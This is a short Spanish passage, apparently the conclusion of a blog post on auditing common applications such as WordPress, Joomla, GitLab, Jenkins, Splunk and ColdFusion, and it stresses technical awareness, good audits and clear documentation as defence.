Este recorrido a través de aplicaciones comunes, desde WordPress y Joomla hasta GitLab, Jenkins, Splunk o ColdFusion, demuestra que conocer el comportamiento esperado de cada una es clave para identificar cuándo algo está mal.

La mejor defensa es la conciencia técnica. Y eso comienza con una auditoría bien hecha, una documentación clara, y una cultura de mejora continua.

Comparte esta Publicación en Redes Sociales